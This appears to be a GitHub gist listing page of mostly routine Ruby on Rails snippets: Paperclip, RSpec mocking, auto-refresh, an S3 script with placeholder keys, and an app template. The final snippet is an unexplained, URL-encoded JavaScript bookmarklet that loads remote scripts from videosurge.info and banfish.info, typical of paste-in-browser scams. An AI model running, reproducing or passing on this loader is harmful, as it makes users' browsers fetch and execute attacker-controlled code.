This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Paperclip | |
class Attachment | |
def url_with_failsafe style = default_style, include_updated_timestamp = true | |
unadorned_url = url_without_failsafe(style, include_updated_timestamp) | |
if in_bucket_substitution_environment? && !exists? | |
unadorned_url.sub(/\/#{bucket_name}\//, '/specle-production/') | |
else | |
unadorned_url | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class ApplicationController < ActionController::Base | |
around_filter :set_white_label | |
private | |
def set_white_label | |
subdomains = request.subdomains - RESERVED_SUBDOMAINS | |
if subdomains.empty? | |
yield | |
return |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
***************************************************************** | |
DEPRECATION WARNING: you are using deprecated behaviour that will | |
be removed from a future version of RSpec. | |
/Users/thechrisoshow/work/cvf/spec/models/booking_spec.rb:126:in `block (3 levels) in <top (required)>' | |
* be_close(12.1, 0.01) is deprecated. | |
* please use be_within(0.01).of(12.1) instead. | |
***************************************************************** |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Using rspec mocking: | |
# Rails 2 method: | |
UserMailer.should_receive(:deliver_signup) | |
# Cumbersome Rails 3 method: | |
mailer = mock | |
mailer.should_receive(:deliver) | |
UserMailer.should_receive(:signup).and_return(mailer) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<meta http-equiv="refresh" content="10" /> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Ok, document.ready is jQuery - but you get the gist | |
$(document).ready(function() { | |
setTimeout(function() { | |
location.href = location.href; | |
}, 10000); | |
// 10000 == 10 seconds | |
// Change this if you want a different refresh period | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def dimensions | |
dimensions = [] | |
dimensions << height if height | |
dimensions << width if width | |
dimensions << depth if depth | |
dimensions.join(" x ") | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'rubygems' | |
require 'aws/s3' | |
# Change the access key and secret to your amazon credentials | |
AWS::S3::Base.establish_connection!( | |
:access_key_id => 'ACCESS_KEY_ID', | |
:secret_access_key => 'SECRET' | |
) | |
# Change this to your S3 bucket name | |
WEBSITE_BUCKET_NAME = "YOUR_BUCKET_NAME" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
create_file '.rvmrc' do | |
'echo "RVM: Switching to Ruby 1.9.2"' | |
'rvm 1.9.2' | |
end | |
append_to_file '.gitignore', "*.sw?" | |
gem('formtastic') | |
gem('sass') | |
gem("mysql2", :group => "production") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B |